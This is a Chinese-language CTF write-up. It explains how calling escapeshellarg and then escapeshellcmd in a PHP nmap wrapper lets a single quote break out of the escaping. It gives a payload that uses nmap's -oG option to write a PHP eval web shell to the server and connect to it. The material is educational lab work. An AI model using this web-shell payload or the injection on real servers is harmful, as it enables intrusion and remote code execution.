因為國慶放假和最近一直在換系統的緣故有一段時間沒有更新。這是我在ubuntu上寫的第一篇文章;
開啟題目得到如下原始碼:
1 <?php 2 3 if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { 4 $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; 5 } 6 7 if(!isset($_GET['host'])) { 8 highlight_file(__FILE__); 9 } else { 10 $host = $_GET['host']; 11 $host = escapeshellarg($host); 12 $host = escapeshellcmd($host); 13 $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); 14 echo 'you are in sandbox '.$sandbox; 15 @mkdir($sandbox); 16 chdir($sandbox); 17 echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); 18 } 19 ?>
可以看到在程式碼第11和12行的地方連續依次使用了escapeshellarg,escapeshellcmd 函式。對於我這種菜雞來說沒見過的函式那必然是這個題目的考點。百度之後可以找到一個很有名的叫做'PHP escapeshellarg()+escapeshellcmd() 之殤'的文章。這裡提供了這道題的主要思路:
關於兩個函式的介紹如下
escapeshellarg — 把字串轉碼為可以在 shell 命令裡使用的引數
功能 :escapeshellarg() 將給字串增加一個單引號並且能引用或者轉碼任何已經存在的單引號,這樣以確保能夠直接將一個字串傳入 shell 函式,shell 函式包含 exec(), system() 執行運算子(反引號)
定義 :
string escapeshellarg ( string $arg )
escapeshellcmd — shell 元字元轉義
功能:escapeshellcmd() 對字串中可能會欺騙 shell 命令執行任意命令的字元進行轉義。 此函式保證使用者輸入的資料在傳送到 exec() 或 system() 函式,或者 執行操作符 之前進行轉義。
反斜線(\)會在以下字元之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 僅在不配對兒的時候被轉義。 在 Windows 平臺上,所有這些字元以及 % 和 ! 字元都會被空格代替。
定義 :
string escapeshellcmd ( string $command)
題目程式碼中要傳入一個host的值,如果我們傳入的引數是127.0.0.1' shellcode 那麼先由escapeshellarg()處理成 '127.0.0.1'\'' shellcode'即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連線的作用。再經過escapeshellcmd()處理後變成 '127.0.0.1'\\'' shellcode \'即escapeshellcmd對\以及最後那個不配對的單引號進行了轉義。最後執行的命令是 curl '127.0.0.1'\\'' shellcode \'。由於中間的\\
被解釋為\
而不再是轉義字元,所以後面的'
沒有被轉義,與再後面的'
配對兒成了一個空白連線符。所以可以簡化為curl 127.0.0.1\ shellcode'(相關知識:
Linux Shell 單引號 雙引號 使用區別)
再回到本題,我們只需要構造引數進行閉合造成注入即可。nmap中有一個可以利用的引數-oG能夠幫我們將字串寫入一個檔案中:可以想到寫入一句話木馬連線shell獲取flag:
我們需要linux伺服器執行的命令為:nmap -T5 -sT -Pn --host-timeout 2 -F '<?php eval($_POST["a"]);?> -oG 1.php'
於是我們根據上面的分析將payload構造成 ?host=' <?php @eval($_POST["hack"]);?> -oG hack.php ' 前面的127.0.0.1我們可以不寫,然後在payload的最後面加上一個空格和單引號,單引號的目的是閉合處理後得到的最後那個單引號,如果不加空格的話檔案最後面會變成
'\\'''
即檔案最後面會多出來\\,加了空格之後會變成 hack.php \ ,不影響命令的執行。
寫入之後會返回sandbox編號,之間蟻劍連線shell 到根目錄下面cat flag就能讀取到flag。
gg
參考:
- https://blog.csdn.net/qq_26406447/article/details/100711933
- https://www.dazhuanlan.com/2020/03/01/5e5aef3248649/?__cf_chl_jschl_tk__=abc8b79a01976e645edc673ee5981c12a400f0aa-1602337962-0-AX16Af1CNl7wtmryWDqZBU4qpbe_o9rEf-EFwqCE9EiBbbix_Izp_UuYurjG5vTe7An2jgzrCwjw0ypmbHcN1XYXqDsk2WAz7yA0lWMdtjSbJ8Ut_yOt1QBjzN2bcteQYX8UDwxCfSrS2wIijY7nmlneAwsXOE7lIw8HwbCoLuBawMpRKBX-T-45Q06HNia7h9JgoOM7CvQO2bBQXsSBpwqNPfFYgjnaYvY3yNmtZfJGQDlFBZcdD9y_tryUHNg-ATypJHiGNylUhA2A8oy7EDP92RkiyFvRVIOea-p7vveANGoJgDzrWKEN-zoIvsY2LQ
- https://paper.seebug.org/164/
escapeshellarg — 把字串轉碼為可以在 shell 命令裡使用的引數
功能 :escapeshellarg() 將給字串增加一個單引號並且能引用或者轉碼任何已經存在的單引號,這樣以確保能夠直接將一個字串傳入 shell 函式,shell 函式包含 exec(), system() 執行運算子(反引號)
定義 :
string escapeshellarg ( string $arg )